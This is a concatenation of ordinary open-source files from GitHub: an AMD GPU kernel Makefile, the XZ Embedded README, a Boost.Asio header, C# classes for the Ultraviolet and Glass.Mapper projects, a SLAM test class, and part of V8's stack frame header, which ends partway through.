FULL_AMD_PATH=$(srctree)/$(src)/..
DISPLAY_FOLDER_NAME=display
FULL_AMD_DISPLAY_PATH = $(FULL_AMD_PATH)/$(DISPLAY_FOLDER_NAME)
ccflags-y := -I$(FULL_AMD_PATH)/include/asic_reg \
-I$(FULL_AMD_PATH)/include \
-I$(FULL_AMD_PATH)/amdgpu \
-I$(FULL_AMD_PATH)/powerplay/inc \
-I$(FULL_AMD_PATH)/acp/include \
-I$(FULL_AMD_DISPLAY_PATH) \
-I$(FULL_AMD_DISPLAY_PATH)/include \
-I$(FULL_AMD_DISPLAY_PATH)/dc \
-I$(FULL_AMD_DISPLAY_PATH)/amdgpu_dm \
-I$(FULL_AMD_PATH)/amdkfd
amdgpu-y := amdgpu_drv.o
# add KMS driver
amdgpu-y += amdgpu_device.o amdgpu_kms.o \
amdgpu_atombios.o atombios_crtc.o amdgpu_connectors.o \
atom.o amdgpu_fence.o amdgpu_ttm.o amdgpu_object.o amdgpu_gart.o \
amdgpu_encoders.o amdgpu_display.o amdgpu_i2c.o \
amdgpu_fb.o amdgpu_gem.o amdgpu_ring.o \
amdgpu_cs.o amdgpu_bios.o amdgpu_benchmark.o amdgpu_test.o \
amdgpu_pm.o atombios_dp.o amdgpu_afmt.o amdgpu_trace_points.o \
atombios_encoders.o amdgpu_sa.o atombios_i2c.o \
amdgpu_dma_buf.o amdgpu_vm.o amdgpu_ib.o amdgpu_pll.o \
amdgpu_ucode.o amdgpu_bo_list.o amdgpu_ctx.o amdgpu_sync.o \
amdgpu_gtt_mgr.o amdgpu_vram_mgr.o amdgpu_virt.o amdgpu_atomfirmware.o \
amdgpu_vf_error.o amdgpu_sched.o amdgpu_debugfs.o amdgpu_ids.o \
amdgpu_gmc.o amdgpu_mmhub.o amdgpu_xgmi.o amdgpu_csa.o amdgpu_ras.o amdgpu_vm_cpu.o \
amdgpu_vm_sdma.o amdgpu_discovery.o amdgpu_ras_eeprom.o amdgpu_nbio.o \
amdgpu_umc.o smu_v11_0_i2c.o amdgpu_fru_eeprom.o
amdgpu-$(CONFIG_PERF_EVENTS) += amdgpu_pmu.o
# add asic specific block
amdgpu-$(CONFIG_DRM_AMDGPU_CIK)+= cik.o cik_ih.o kv_smc.o kv_dpm.o \
dce_v8_0.o gfx_v7_0.o cik_sdma.o uvd_v4_2.o vce_v2_0.o
amdgpu-$(CONFIG_DRM_AMDGPU_SI)+= si.o gmc_v6_0.o gfx_v6_0.o si_ih.o si_dma.o dce_v6_0.o si_dpm.o si_smc.o \
uvd_v3_1.o
amdgpu-y += \
vi.o mxgpu_vi.o nbio_v6_1.o soc15.o emu_soc.o mxgpu_ai.o nbio_v7_0.o vega10_reg_init.o \
vega20_reg_init.o nbio_v7_4.o nbio_v2_3.o nv.o navi10_reg_init.o navi14_reg_init.o \
arct_reg_init.o navi12_reg_init.o mxgpu_nv.o sienna_cichlid_reg_init.o
# add DF block
amdgpu-y += \
df_v1_7.o \
df_v3_6.o
# add GMC block
amdgpu-y += \
gmc_v7_0.o \
gmc_v8_0.o \
gfxhub_v1_0.o mmhub_v1_0.o gmc_v9_0.o gfxhub_v1_1.o mmhub_v9_4.o \
gfxhub_v2_0.o mmhub_v2_0.o gmc_v10_0.o gfxhub_v2_1.o
# add UMC block
amdgpu-y += \
umc_v6_1.o umc_v6_0.o
# add IH block
amdgpu-y += \
amdgpu_irq.o \
amdgpu_ih.o \
iceland_ih.o \
tonga_ih.o \
cz_ih.o \
vega10_ih.o \
navi10_ih.o
# add PSP block
amdgpu-y += \
amdgpu_psp.o \
psp_v3_1.o \
psp_v10_0.o \
psp_v11_0.o \
psp_v12_0.o
# add SMC block
amdgpu-y += \
amdgpu_dpm.o
# add DCE block
amdgpu-y += \
dce_v10_0.o \
dce_v11_0.o \
dce_virtual.o
# add GFX block
amdgpu-y += \
amdgpu_gfx.o \
amdgpu_rlc.o \
gfx_v8_0.o \
gfx_v9_0.o \
gfx_v9_4.o \
gfx_v10_0.o
# add async DMA block
amdgpu-y += \
amdgpu_sdma.o \
sdma_v2_4.o \
sdma_v3_0.o \
sdma_v4_0.o \
sdma_v5_0.o \
sdma_v5_2.o
# add MES block
amdgpu-y += \
mes_v10_1.o
# add UVD block
amdgpu-y += \
amdgpu_uvd.o \
uvd_v5_0.o \
uvd_v6_0.o \
uvd_v7_0.o
# add VCE block
amdgpu-y += \
amdgpu_vce.o \
vce_v3_0.o \
vce_v4_0.o
# add VCN and JPEG block
amdgpu-y += \
amdgpu_vcn.o \
vcn_v1_0.o \
vcn_v2_0.o \
vcn_v2_5.o \
vcn_v3_0.o \
amdgpu_jpeg.o \
jpeg_v1_0.o \
jpeg_v2_0.o \
jpeg_v2_5.o \
jpeg_v3_0.o
# add ATHUB block
amdgpu-y += \
athub_v1_0.o \
athub_v2_0.o \
athub_v2_1.o
# add amdkfd interfaces
amdgpu-y += amdgpu_amdkfd.o
ifneq ($(CONFIG_HSA_AMD),)
AMDKFD_PATH := ../amdkfd
include $(FULL_AMD_PATH)/amdkfd/Makefile
amdgpu-y += $(AMDKFD_FILES)
amdgpu-y += \
amdgpu_amdkfd_fence.o \
amdgpu_amdkfd_gpuvm.o \
amdgpu_amdkfd_gfx_v8.o \
amdgpu_amdkfd_gfx_v9.o \
amdgpu_amdkfd_arcturus.o \
amdgpu_amdkfd_gfx_v10.o \
amdgpu_amdkfd_gfx_v10_3.o
ifneq ($(CONFIG_DRM_AMDGPU_CIK),)
amdgpu-y += amdgpu_amdkfd_gfx_v7.o
endif
endif
# add cgs
amdgpu-y += amdgpu_cgs.o
# GPU scheduler
amdgpu-y += amdgpu_job.o
# ACP componet
ifneq ($(CONFIG_DRM_AMD_ACP),)
amdgpu-y += amdgpu_acp.o
AMDACPPATH := ../acp
include $(FULL_AMD_PATH)/acp/Makefile
amdgpu-y += $(AMD_ACP_FILES)
endif
amdgpu-$(CONFIG_COMPAT) += amdgpu_ioc32.o
amdgpu-$(CONFIG_VGA_SWITCHEROO) += amdgpu_atpx_handler.o
amdgpu-$(CONFIG_ACPI) += amdgpu_acpi.o
amdgpu-$(CONFIG_HMM_MIRROR) += amdgpu_mn.o
include $(FULL_AMD_PATH)/powerplay/Makefile
amdgpu-y += $(AMD_POWERPLAY_FILES)
ifneq ($(CONFIG_DRM_AMD_DC),)
RELATIVE_AMD_DISPLAY_PATH = ../$(DISPLAY_FOLDER_NAME)
include $(FULL_AMD_DISPLAY_PATH)/Makefile
amdgpu-y += $(AMD_DISPLAY_FILES)
endif
obj-$(CONFIG_DRM_AMDGPU)+= amdgpu.o
| {
"pile_set_name": "Github"
} |
XZ Embedded
===========
XZ Embedded is a relatively small, limited implementation of the .xz
file format. Currently only decoding is implemented.
XZ Embedded was written for use in the Linux kernel, but the code can
be easily used in other environments too, including regular userspace
applications.
This README contains information that is useful only when the copy
of XZ Embedded isn't part of the Linux kernel tree. You should also
read linux/Documentation/xz.txt even if you aren't using XZ Embedded
as part of Linux; information in that file is not repeated in this
README.
Compiling the Linux kernel module
The xz_dec module depends on crc32 module, so make sure that you have
it enabled (CONFIG_CRC32).
Building the xz_dec and xz_dec_test modules without support for BCJ
filters:
cd linux/lib/xz
make -C /path/to/kernel/source \
KCPPFLAGS=-I"$(pwd)/../../include" M="$(pwd)" \
CONFIG_XZ_DEC=m CONFIG_XZ_DEC_TEST=m
Building the xz_dec and xz_dec_test modules with support for BCJ
filters:
cd linux/lib/xz
make -C /path/to/kernel/source \
KCPPFLAGS=-I"$(pwd)/../../include" M="$(pwd)" \
CONFIG_XZ_DEC=m CONFIG_XZ_DEC_TEST=m CONFIG_XZ_DEC_BCJ=y \
CONFIG_XZ_DEC_X86=y CONFIG_XZ_DEC_POWERPC=y \
CONFIG_XZ_DEC_IA64=y CONFIG_XZ_DEC_ARM=y \
CONFIG_XZ_DEC_ARMTHUMB=y CONFIG_XZ_DEC_SPARC=y
If you want only one or a few of the BCJ filters, omit the appropriate
variables. CONFIG_XZ_DEC_BCJ=y is always required to build the support
code shared between all BCJ filters.
Most people don't need the xz_dec_test module. You can skip building
it by omitting CONFIG_XZ_DEC_TEST=m from the make command line.
Compiler requirements
XZ Embedded should compile as either GNU-C89 (used in the Linux
kernel) or with any C99 compiler. Getting the code to compile with
non-GNU C89 compiler or a C++ compiler should be quite easy as
long as there is a data type for unsigned 64-bit integer (or the
code is modified not to support large files, which needs some more
care than just using 32-bit integer instead of 64-bit).
If you use GCC, try to use a recent version. For example, on x86-32,
xz_dec_lzma2.c compiled with GCC 3.3.6 is 15-25 % slower than when
compiled with GCC 4.3.3.
Embedding into userspace applications
To embed the XZ decoder, copy the following files into a single
directory in your source code tree:
linux/include/linux/xz.h
linux/lib/xz/xz_crc32.c
linux/lib/xz/xz_dec_lzma2.c
linux/lib/xz/xz_dec_stream.c
linux/lib/xz/xz_lzma2.h
linux/lib/xz/xz_private.h
linux/lib/xz/xz_stream.h
userspace/xz_config.h
Alternatively, xz.h may be placed into a different directory but then
that directory must be in the compiler include path when compiling
the .c files.
Your code should use only the functions declared in xz.h. The rest of
the .h files are meant only for internal use in XZ Embedded.
You may want to modify xz_config.h to be more suitable for your build
environment. Probably you should at least skim through it even if the
default file works as is.
BCJ filter support
If you want support for one or more BCJ filters, you need to copy also
linux/lib/xz/xz_dec_bcj.c into your application, and use appropriate
#defines in xz_config.h or in compiler flags. You don't need these
#defines in the code that just uses XZ Embedded via xz.h, but having
them always #defined doesn't hurt either.
#define Instruction set BCJ filter endianness
XZ_DEC_X86 x86-32 or x86-64 Little endian only
XZ_DEC_POWERPC PowerPC Big endian only
XZ_DEC_IA64 Itanium (IA-64) Big or little endian
XZ_DEC_ARM ARM Little endian only
XZ_DEC_ARMTHUMB ARM-Thumb Little endian only
XZ_DEC_SPARC SPARC Big or little endian
While some architectures are (partially) bi-endian, the endianness
setting doesn't change the endianness of the instructions on all
architectures. That's why Itanium and SPARC filters work for both big
and little endian executables (Itanium has little endian instructions
and SPARC has big endian instructions).
There currently is no filter for little endian PowerPC or big endian
ARM or ARM-Thumb. Implementing filters for them can be considered if
there is a need for such filters in real-world applications.
Notes about shared libraries
If you are including XZ Embedded into a shared library, you very
probably should rename the xz_* functions to prevent symbol
conflicts in case your library is linked against some other library
or application that also has XZ Embedded in it (which may even be
a different version of XZ Embedded). TODO: Provide an easy way
to do this.
Please don't create a shared library of XZ Embedded itself unless
it is fine to rebuild everything depending on that shared library
everytime you upgrade to a newer version of XZ Embedded. There are
no API or ABI stability guarantees between different versions of
XZ Embedded.
| {
"pile_set_name": "Github"
} |
//
// detail/regex_fwd.hpp
// ~~~~~~~~~~~~~~~~~~~~
//
// Copyright (c) 2003-2016 Christopher M. Kohlhoff (chris at kohlhoff dot com)
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
//
#ifndef BOOST_ASIO_DETAIL_REGEX_FWD_HPP
#define BOOST_ASIO_DETAIL_REGEX_FWD_HPP
#if defined(_MSC_VER) && (_MSC_VER >= 1200)
# pragma once
#endif // defined(_MSC_VER) && (_MSC_VER >= 1200)
#if defined(BOOST_ASIO_HAS_BOOST_REGEX)
#include <boost/regex_fwd.hpp>
#include <boost/regex/v4/match_flags.hpp>
namespace boost {
template <class BidiIterator>
struct sub_match;
template <class BidiIterator, class Allocator>
class match_results;
} // namespace boost
#endif // defined(BOOST_ASIO_HAS_BOOST_REGEX)
#endif // BOOST_ASIO_DETAIL_REGEX_FWD_HPP
| {
"pile_set_name": "Github"
} |
/**
* @swagger
* parameter:
* tl_limit:
* name: limit
* in: query
* description: The maximum number of timeline entries to include in the response.
* required: false
* type: integer
* tl_offset:
* name: offset
* in: query
* description: Start the list of results after skipping N results (where N=offset).
* required: false
* default: 0
* type: integer
*/
| {
"pile_set_name": "Github"
} |
undefined.
| {
"pile_set_name": "Github"
} |
using System;
using Ultraviolet.Audio;
using Ultraviolet.Core;
namespace Ultraviolet.BASS.Audio
{
/// <summary>
/// Represents the BASS implementation of the <see cref="IUltravioletAudioDevice"/> interface.
/// </summary>
public sealed class BASSUltravioletAudioDevice : UltravioletResource, IUltravioletAudioDevice
{
/// <summary>
/// Initializes a new instance of the <see cref="BASSUltravioletAudioDevice"/> class.
/// </summary>
/// <param name="uv">The Ultraviolet context.</param>
/// <param name="id">The device's BASS identifier.</param>
/// <param name="name">The device's name.</param>
public BASSUltravioletAudioDevice(UltravioletContext uv, UInt32 id, String name)
: base(uv)
{
Contract.Require(name, nameof(name));
this.ID = id;
this.Name = name;
}
/// <summary>
/// Gets the device's BASS identifier.
/// </summary>
public UInt32 ID { get; }
/// <inheritdoc/>
public String Name { get; }
/// <inheritdoc/>
public Boolean IsDefault { get; internal set; }
/// <inheritdoc/>
public Boolean IsValid { get; internal set; }
}
}
| {
"pile_set_name": "Github"
} |
using System.Collections.Specialized;
using Sitecore.Data;
using Sitecore.Data.Items;
using Sitecore.Diagnostics;
using Sitecore.Mvc.Configuration;
using Sitecore.Mvc.Presentation;
namespace Glass.Mapper.Sc.Web.Mvc
{
public interface IMvcContext : IRequestContext
{
ISitecoreService SitecoreService { get; }
IGlassHtml GlassHtml { get; set; }
/// <summary>
/// Maps the RenderingContext.CurrentOrNull.Rendering.DataSource to a model
/// </summary>
/// <typeparam name="T">The type to return</typeparam>
/// <param name="options">Options for how the model will be mapped</param>
/// <returns></returns>
T GetDataSourceItem<T>(GetKnownOptions options) where T : class;
/// <summary>
/// Maps the RenderingContext.CurrentOrNull.PageContext.Item to a model
/// </summary>
/// <typeparam name="T">The type to return</typeparam>
/// <param name="options">Options for how the model will be retrieved</param>
/// <returns></returns>
T GetPageContextItem<T>(GetKnownOptions options) where T : class;
/// <summary>
/// Maps the RenderingContext.CurrentOrNull.Rendering.Item to a model
/// </summary>
/// <typeparam name="T">The type to return</typeparam>
/// <param name="options">Options for how the model will be retrieved</param>
/// <returns></returns>
T GetRenderingItem<T>(GetKnownOptions options) where T : class;
/// <summary>
/// Maps the RenderingContext.CurrentOrNull.Rendering.DataSource to a model
/// </summary>
/// <typeparam name="T">The type to return</typeparam>
/// <returns></returns>
T GetDataSourceItem<T>() where T : class;
/// <summary>
/// Maps the RenderingContext.CurrentOrNull.PageContext.Item to a model
/// </summary>
/// <typeparam name="T">The type to return</typeparam>
/// <returns></returns>
T GetPageContextItem<T>() where T : class;
/// <summary>
/// Maps the RenderingContext.CurrentOrNull.Rendering.Item to a model
/// </summary>
/// <typeparam name="T">The type to return</typeparam>
/// <returns></returns>
T GetRenderingItem<T>() where T : class;
T GetRenderingParameters<T>() where T : class;
bool HasDataSource { get; }
Item DataSourceItem { get; }
string RenderingParameters { get; }
}
public class MvcContext : RequestContext, IMvcContext
{
public IGlassHtml GlassHtml { get; set; }
public MvcContext() : this(new SitecoreService(Sitecore.Context.Database))
{
}
public MvcContext(ISitecoreService sitecoreService)
: this(sitecoreService, ((Sc.IoC.IDependencyResolver)sitecoreService.GlassContext.DependencyResolver).GlassHtmlFactory.GetGlassHtml(sitecoreService))
{
}
public MvcContext(ISitecoreService sitecoreService, IGlassHtml glassHtml) : base(sitecoreService)
{
GlassHtml = glassHtml;
}
/// <summary>
/// Maps the RenderingContext.CurrentOrNull.Rendering.DataSource to a model
/// </summary>
/// <typeparam name="T">The type to return</typeparam>
/// <returns></returns>
public virtual T GetDataSourceItem<T>() where T : class
{
return GetDataSourceItem<T>(new GetKnownOptions());
}
/// <summary>
/// Maps the RenderingContext.CurrentOrNull.Rendering.DataSource to a model
/// </summary>
/// <typeparam name="T">The type to return</typeparam>
/// <param name="options">Options for how the model will be mapped</param>
/// <returns></returns>
public virtual T GetDataSourceItem<T>(GetKnownOptions options ) where T : class
{
Assert.IsNotNull(options, "options must no be null");
var item = DataSourceItem;
options.Item = item;
return SitecoreService.GetItem<T>(options);
}
/// <summary>
/// Maps the RenderingContext.CurrentOrNull.PageContext.Item to a model
/// </summary>
/// <typeparam name="T">The type to return</typeparam>
/// <returns></returns>
public virtual T GetPageContextItem<T>() where T : class
{
return GetPageContextItem<T>(new GetKnownOptions());
}
/// <summary>
/// Maps the RenderingContext.CurrentOrNull.PageContext.Item to a model
/// </summary>
/// <typeparam name="T">The type to return</typeparam>
/// <param name="options">Options for how the model will be retrieved</param>
/// <returns></returns>
public virtual T GetPageContextItem<T>(GetKnownOptions options) where T : class
{
Assert.IsNotNull(options, "options must no be null");
var item = RenderingContext.CurrentOrNull.PageContext.Item;
options.Item = item;
return SitecoreService.GetItem<T>(options);
}
/// <summary>
/// Maps the RenderingContext.CurrentOrNull.Rendering.Item to a model
/// </summary>
/// <typeparam name="T">The type to return</typeparam>
/// <returns></returns>
public virtual T GetRenderingItem<T>() where T : class
{
return GetRenderingItem<T>(new GetKnownOptions());
}
/// <summary>
/// Maps the RenderingContext.CurrentOrNull.Rendering.Item to a model
/// </summary>
/// <typeparam name="T">The type to return</typeparam>
/// <param name="options">Options for how the model will be retrieved</param>
/// <returns></returns>
public virtual T GetRenderingItem<T>(GetKnownOptions options) where T : class
{
Assert.IsNotNull(options, "options must no be null");
var item = RenderingContext.CurrentOrNull.Rendering.Item;
options.Item = item;
return SitecoreService.GetItem<T>(options);
}
/// <summary>
/// Returns the RenderingContext.CurrentOrNull.Rendering.DataSource as an item
/// </summary>
/// <typeparam name="T">The type to return</typeparam>
/// <param name="options">Options for how the model will be retrieved</param>
/// <returns></returns>
public virtual Item DataSourceItem
{
get
{
var dataSource = RenderingContext.CurrentOrNull.Rendering.DataSource;
var item = MvcSettings.ItemLocator.GetItem(dataSource);
return item;
}
}
public virtual T GetRenderingParameters<T>() where T : class
{
return GlassHtml.GetRenderingParameters<T>(RenderingParameters);
}
public virtual T GetRenderingParameters<T>(NameValueCollection parameters, ID renderParametersTemplateId) where T : class
{
return GlassHtml.GetRenderingParameters<T>(parameters, renderParametersTemplateId);
}
public virtual bool HasDataSource
{
get { return ContextActive && !RenderingContext.CurrentOrNull.Rendering.DataSource.IsNullOrEmpty(); }
}
public virtual bool ContextActive
{
get { return RenderingContext.CurrentOrNull != null && RenderingContext.CurrentOrNull.Rendering != null; }
}
public virtual string RenderingParameters
{
get
{
return ContextActive
? RenderingContext.CurrentOrNull.Rendering[Glass.Mapper.Sc.GlassHtml.Parameters]
: string.Empty;
}
}
}
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2016 RoboAuto team, Artin
* All rights reserved.
*
* This file is part of RoboAuto HorizonSlam.
*
* RoboAuto HorizonSlam is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* RoboAuto HorizonSlam is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with RoboAuto HorizonSlam. If not, see <http://www.gnu.org/licenses/>.
*/
/**
* @author: RoboAuto team
* @brief: A class for statistical evaluation of individual runs.
*
* For fast evaluation a map and a run dataset created by the dataSetCreator module are needed. Also @see validator.cpp.
*/
#pragma once
#include "SlamImpl.h"
#include <map>
namespace Slam {
class TestSlam : public SlamImpl {
public:
std::pair<float,std::size_t> TestRun() {
particleFilterInitialized_=false;
Reset();
float error = 0;
std::size_t numbers_located = 0;
int counter = 0;
for(auto& runSample: runSamples_) {
state_ = std::get<0>(runSample);
auto coords = Localize();
float currentError=std::pow(coords.first.DistanceTo(std::get<1>(runSample)),2);
error+=currentError;
if(currentError < 900) {
numbers_located++;
} else if (currentError > 200*200) {
std:: cout << "Error " << sqrt(currentError) << ": segment " << counter << std::endl;
}
counter++;
}
return {sqrt(error/runSamples_.size()),numbers_located};
}
void LoadRun(const std::string &filename) {
std::ifstream ifs(filename);
boost::archive::binary_iarchive ia(ifs);
ia >> runSamples_;
for(auto& runSample: runSamples_) {
auto& state = std::get<0>(runSample);
state.detectedObjects.horizont.maximums = ImageDescriptor::Horizont::detectMax(state.detectedObjects.horizont.horizont);
}
}
void SetConfig(const WeightFunction::Config &config) {
weightFunctionConfig_=config;
}
std::vector<std::tuple<CurrentState, utils::GpsCoords>> runSamples_;
protected:
};
}
| {
"pile_set_name": "Github"
} |
// Copyright 2012 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef V8_EXECUTION_FRAMES_INL_H_
#define V8_EXECUTION_FRAMES_INL_H_
#include "src/base/memory.h"
#include "src/execution/frame-constants.h"
#include "src/execution/frames.h"
#include "src/execution/isolate.h"
#include "src/execution/pointer-authentication.h"
#include "src/objects/objects-inl.h"
namespace v8 {
namespace internal {
class InnerPointerToCodeCache {
public:
struct InnerPointerToCodeCacheEntry {
Address inner_pointer;
Code code;
SafepointEntry safepoint_entry;
};
explicit InnerPointerToCodeCache(Isolate* isolate) : isolate_(isolate) {
Flush();
}
void Flush() { memset(static_cast<void*>(&cache_[0]), 0, sizeof(cache_)); }
InnerPointerToCodeCacheEntry* GetCacheEntry(Address inner_pointer);
private:
InnerPointerToCodeCacheEntry* cache(int index) { return &cache_[index]; }
Isolate* isolate_;
static const int kInnerPointerToCodeCacheSize = 1024;
InnerPointerToCodeCacheEntry cache_[kInnerPointerToCodeCacheSize];
DISALLOW_COPY_AND_ASSIGN(InnerPointerToCodeCache);
};
inline Address StackHandler::address() const {
return reinterpret_cast<Address>(const_cast<StackHandler*>(this));
}
inline StackHandler* StackHandler::next() const {
const int offset = StackHandlerConstants::kNextOffset;
return FromAddress(base::Memory<Address>(address() + offset));
}
inline Address StackHandler::next_address() const {
return base::Memory<Address>(address() + StackHandlerConstants::kNextOffset);
}
inline StackHandler* StackHandler::FromAddress(Address address) {
return reinterpret_cast<StackHandler*>(address);
}
inline StackFrame::StackFrame(StackFrameIteratorBase* iterator)
: iterator_(iterator), isolate_(iterator_->isolate()) {
}
inline StackHandler* StackFrame::top_handler() const {
return iterator_->handler();
}
inline Address StackFrame::callee_pc() const {
return state_.callee_pc_address ? ReadPC(state_.callee_pc_address)
: kNullAddress;
}
inline Address StackFrame::pc() const { return ReadPC(pc_address()); }
inline Address StackFrame::unauthenticated_pc() const {
return PointerAuthentication::StripPAC(*pc_address());
}
inline Address StackFrame::ReadPC(Address* pc_address) {
return PointerAuthentication::AuthenticatePC(pc_address, kSystemPointerSize);
}
inline Address* StackFrame::ResolveReturnAddressLocation(Address* pc_address) {
if (return_address_location_resolver_ == nullptr) {
return pc_address;
} else {
return reinterpret_cast<Address*>(
return_address_location_resolver_(
reinterpret_cast<uintptr_t>(pc_address)));
}
}
inline NativeFrame::NativeFrame(StackFrameIteratorBase* iterator)
: StackFrame(iterator) {}
inline Address NativeFrame::GetCallerStackPointer() const {
return fp() + CommonFrameConstants::kCallerSPOffset;
}
inline EntryFrame::EntryFrame(StackFrameIteratorBase* iterator)
: StackFrame(iterator) {}
inline ConstructEntryFrame::ConstructEntryFrame(
StackFrameIteratorBase* iterator)
: EntryFrame(iterator) {}
inline ExitFrame::ExitFrame(StackFrameIteratorBase* iterator)
: StackFrame(iterator) {}
inline BuiltinExitFrame::BuiltinExitFrame(StackFrameIteratorBase* iterator)
: ExitFrame(iterator) {}
inline Object BuiltinExitFrame::receiver_slot_object() const {
// The receiver is the first argument on the frame.
// fp[1]: return address.
// ------- fixed extra builtin arguments -------
// fp[2]: new target.
// fp[3]: target.
// fp[4]: argc.
// fp[5]: hole.
// ------- JS stack arguments ------
// fp[6]: receiver, if V8_REVERSE_JSARGS.
// fp[2 + argc - 1]: receiver, if not V8_REVERSE_JSARGS.
#ifdef V8_REVERSE_JSARGS
const int receiverOffset = BuiltinExitFrameConstants::kFirstArgumentOffset;
#else
Object argc_slot = argc_slot_object();
DCHECK(argc_slot.IsSmi());
int argc = Smi::ToInt(argc_slot);
const int receiverOffset = BuiltinExitFrameConstants::kNewTargetOffset +
(argc - 1) * kSystemPointerSize;
#endif
return Object(base::Memory<Address>(fp() + receiverOffset));
}
inline Object BuiltinExitFrame::argc_slot_object() const {
return Object(
base::Memory<Address>(fp() + BuiltinExitFrameConstants::kArgcOffset));
}
inline Object BuiltinExitFrame::target_slot_object() const {
return Object(
base::Memory<Address>(fp() + BuiltinExitFrameConstants::kTargetOffset));
}
inline Object BuiltinExitFrame::new_target_slot_object() const {
return Object(base::Memory<Address>(
fp() + BuiltinExitFrameConstants::kNewTargetOffset));
}
inline StandardFrame::StandardFrame(StackFrameIteratorBase* iterator)
: StackFrame(iterator) {
}
inline Object StandardFrame::GetExpression(int index) const {
return Object(base::Memory<Address>(GetExpressionAddress(index)));
}
inline void StandardFrame::SetExpression(int index, Object value) {
base::Memory<Address>(GetExpressionAddress(index)) = value.ptr();
}
inline Address StandardFrame::caller_fp() const {
return base::Memory<Address>(fp() + StandardFrameConstants::kCallerFPOffset);
}
inline Address StandardFrame::caller_pc() const {
return base::Memory<Address>(ComputePCAddress(fp()));
}
inline Address StandardFrame::ComputePCAddress(Address fp) {
return fp + StandardFrameConstants::kCallerPCOffset;
}
inline Address StandardFrame::ComputeConstantPoolAddress(Address fp) {
return fp + StandardFrameConstants::kConstantPoolOffset;
}
inline bool StandardFrame::IsArgumentsAdaptorFrame(Address fp) {
intptr_t frame_type =
base::Memory<intptr_t>(fp + TypedFrameConstants::kFrameTypeOffset);
return frame_type == StackFrame::TypeToMarker(StackFrame::ARGUMENTS_ADAPTOR);
}
inline bool StandardFrame::IsConstructFrame(Address fp) {
intptr_t frame_type =
base::Memory<intptr_t>(fp + TypedFrameConstants::kFrameTypeOffset);
return frame_type == StackFrame::TypeToMarker(StackFrame::CONSTRUCT);
}
inline JavaScriptFrame::JavaScriptFrame(StackFrameIteratorBase* iterator)
: StandardFrame(iterator) {}
Address JavaScriptFrame::GetParameterSlot(int index) const {
DCHECK(-1 <= index &&
(index < ComputeParametersCount() ||
ComputeParametersCount() == kDontAdaptArgumentsSentinel));
#ifdef V8_REVERSE_JSARGS
int parameter_offset = (index + 1) * kSystemPointerSize;
#else
int param_count = ComputeParametersCount();
int parameter_offset = (param_count - index - 1) * kSystemPointerSize;
#endif
return caller_sp() + parameter_offset;
}
inline void JavaScriptFrame::set_receiver(Object value) {
base::Memory<Address>(GetParameterSlot(-1)) = value.ptr();
}
inline bool JavaScriptFrame::has_adapted_arguments() const {
return IsArgumentsAdaptorFrame(caller_fp());
}
inline Object JavaScriptFrame::function_slot_object() const {
const int offset = StandardFrameConstants::kFunctionOffset;
return Object(base::Memory<Address>(fp() + offset));
}
inline StubFrame::StubFrame(StackFrameIteratorBase* iterator)
: StandardFrame(iterator) {
}
inline OptimizedFrame::OptimizedFrame(StackFrameIteratorBase* iterator)
: JavaScriptFrame(iterator) {
}
inline InterpretedFrame::InterpretedFrame(StackFrameIteratorBase* iterator)
: JavaScriptFrame(iterator) {}
inline ArgumentsAdaptorFrame::ArgumentsAdaptorFrame(
StackFrameIteratorBase* iterator) : JavaScriptFrame(iterator) {
}
inline BuiltinFrame::BuiltinFrame(StackFrameIteratorBase* iterator)
: JavaScriptFrame(iterator) {}
inline WasmFrame::WasmFrame(StackFrameIteratorBase* iterator)
: StandardFrame(iterator) {}
inline WasmExitFrame::WasmExitFrame(StackFrameIteratorBase* iterator)
: WasmFrame(iterator) {}
inline WasmDebugBreakFrame::WasmDebugBreakFrame(
StackFrameIteratorBase* iterator)
: StandardFrame(iterator) {}
inline WasmToJsFrame::WasmToJsFrame(StackFrameIteratorBase* iterator)
: StubFrame(iterator) {}
inline JsToWasmFrame::JsToWasmFrame(StackFrameIteratorBase* iterator)
: StubFrame(iterator) {}
inline CWasmEntryFrame::CWasmEntryFrame(StackFrameIteratorBase* iterator)
: StubFrame(iterator) {}
inline WasmCompileLazyFrame::WasmCompileLazyFrame(
StackFrameIteratorBase* iterator)
: StandardFrame(iterator) {}
inline InternalFrame::InternalFrame(StackFrameIteratorBase* iterator)
: StandardFrame(iterator) {
}
inline ConstructFrame::ConstructFrame(StackFrameIteratorBase* iterator)
: InternalFrame(iterator) {
}
inline BuiltinContinuationFrame::BuiltinContinuationFrame(
StackFrameIteratorBase* iterator)
: InternalFrame(iterator) {}
inline JavaScriptBuiltinContinuationFrame::JavaScriptBuiltinContinuationFrame(
StackFrameIteratorBase* iterator)
: JavaScriptFrame(iterator) {}
inline JavaScriptBuiltinContinuationWithCatchFrame::
JavaScriptBuiltinContinuationWithCatchFrame(
StackFrameIteratorBase* iterator)
: JavaScriptBuiltinContinuationFrame(iterator) {}
inline JavaScriptFrameIterator::JavaScriptFrameIterator(
Isolate* isolate)
: iterator_(isolate) {
if (!done()) Advance();
}
inline JavaScriptFrameIterator::JavaScriptFrameIterator(
Isolate* isolate, ThreadLocalTop* top)
: iterator_(isolate, top) {
if (!done()) Advance();
}
inline JavaScriptFrame* JavaScriptFrameIterator::frame() const {
// TODO(1233797): The frame hierarchy needs to change. It's
// problematic that we can't use the safe-cast operator to cast to
// the JavaScript frame type, because we may encounter arguments
// adaptor frames.
StackFrame* frame = iterator_.frame();
DCHECK(frame->is_java_script() || frame->is_arguments_adaptor());
return static_cast<JavaScriptFrame*>(frame);
}
inline StandardFrame* StackTraceFrameIterator::frame() const {
StackFrame* frame = iterator_.frame();
DCHECK(frame->is_java_script() || frame->is_arguments_adaptor() ||
frame->is_wasm());
return static_cast<StandardFrame*>(frame);
}
bool StackTraceFrameIterator::is_javascript() const {
return frame()->is_java_script();
}
bool StackTraceFrameIterator::is_wasm() const { return frame()->is_wasm(); }
JavaScriptFrame* StackTraceFrameIterator::javascript_frame() const {
return JavaScriptFrame::cast(frame());
}
inline StackFrame* SafeStackFrameIterator::frame() const {
DCHECK(!done());
